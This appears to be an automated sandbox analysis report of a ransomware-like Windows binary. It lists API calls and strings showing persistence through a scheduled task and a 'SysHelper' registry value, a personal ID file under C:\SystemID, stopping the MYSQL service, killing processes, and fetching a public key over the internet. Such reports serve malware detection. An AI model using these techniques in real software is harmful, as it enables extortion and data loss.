Opcode ID: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction ID: c603cf62551caa9c06587f3e6ced3ee16b2371f56cdaae2afb18e0be874d4686
Opcode Fuzzy Hash: ffdeb467f25692adb2f41c7a5be08654f874d2c95d3133ace75c87d70b3a0200
Instruction Fuzzy Hash: D7112C7194020DABDF50DFA0DC89FEE77BCBB04705F0445A5F509E2151DBB45A889F94

Function 00418000 Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 344COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004180B9
_memmove.LIBCMT ref: 00418124
_memmove.LIBCMT ref: 004181A8
_memmove.LIBCMT ref: 00418221
_memmove.LIBCMT ref: 00418288
_memmove.LIBCMT ref: 004182C6
_memmove.LIBCMT ref: 00418305

Strings

invalid string position, xrefs: 00418342
string too long, xrefs: 00418338

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction ID: bf4c3c4c16418921af35957e8a842e40232b78bc4dd53ff6fdc572851f10e90f
Opcode Fuzzy Hash: 72cc4f69e8dc9d7bd856fc9c1b9749c6ccd7664eafd668a19730564a7e917932
Instruction Fuzzy Hash: 4AC19F71700209EFDB18CF48C9819EE77A6EF85704B24492EE891CB741DB34ED968B99

Function 0040DAC0 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 160comstringCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040DAEB
CoCreateInstance.OLE32(004D4F6C,00000000,00000001,004D4F3C,?,?,004CA948,000000FF), ref: 0040DB0B
lstrcpyW.KERNEL32(?,?), ref: 0040DBD6
PathRemoveFileSpecW.SHLWAPI(?,?,?,?,?,?,004CA948,000000FF), ref: 0040DBE3
_memset.LIBCMT ref: 0040DC38
CoUninitialize.OLE32 ref: 0040DC92

Strings

Comment, xrefs: 0040DBFF
--Task, xrefs: 0040DBB5
Time Trigger Task, xrefs: 0040DB24, 0040DB34, 0040DB52

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateFileInitializeInstancePathRemoveSpecUninitialize_memsetlstrcpy
String ID: --Task$Comment$Time Trigger Task
API String ID: 330603062-1376107329
Opcode ID: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction ID: 3ca8ca325a9fd4b6db29fab4a8cd6851ae340f1496bb62272076f21ffc706129
Opcode Fuzzy Hash: 4f76096c1bb55b8fd6772bfaf79823c9e02c83c8f45e810a8838bdd484e9cb7f
Instruction Fuzzy Hash: E051F670A40209AFDB00DF94CC99FAE7BB9FF88705F208469F505AB2A0DB75A945CF54

Function 00411A10 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 63servicesleepCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000001), ref: 00411A1D
OpenServiceW.ADVAPI32(00000000,MYSQL,00000020), ref: 00411A32
ControlService.ADVAPI32(00000000,00000001,?), ref: 00411A46
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A5B
Sleep.KERNEL32(?), ref: 00411A75
QueryServiceStatus.ADVAPI32(00000000,?), ref: 00411A80
CloseServiceHandle.ADVAPI32(00000000), ref: 00411A9E
CloseServiceHandle.ADVAPI32(00000000), ref: 00411AA1

Strings

MYSQL, xrefs: 00411A2C

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpenQueryStatus$ControlManagerSleep
String ID: MYSQL
API String ID: 2359367111-1651825290
Opcode ID: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction ID: 28721974f2ef8f77e49d09c1c1511d7c7b7ffc9f5d452c27f8aea73f5df61dea
Opcode Fuzzy Hash: 692faa110e64916c7c56b6385ee5ad1bce035bf71229861a57ca5c091c1d7d7f
Instruction Fuzzy Hash: 7F117735A01209ABDB209BD59D88FEF7FACEF45791F040122FB08D2250D728D985CAA8

Function 0044F26C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F27F

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F294

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640
fopen(', xrefs: 00465611
',', xrefs: 0046560B

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

\, xrefs: 0040F548
Shell32.dll, xrefs: 0040F32C
SHGetFolderPathW, xrefs: 0040F34D

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

\\n, xrefs: 0040CC1B
 , xrefs: 0040CCAF
Error encrypting message: %s, xrefs: 0040CE67

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 779349bd5cffae9da37cda92e0556b786322a556b4ba80c6d8d46dbb3173291c
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

SysHelper, xrefs: 0040C6EB, 0040C71D
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

+, xrefs: 00457475
0123456789ABCDEF, xrefs: 004574D6
UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4
, xrefs: 00457482

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 32e7d4c3d8e68485970837e3b5b585c67490908ba1c4539466c19c6bf2906932
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000004.00000002.1457403604.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1457403604.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.1457403604.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
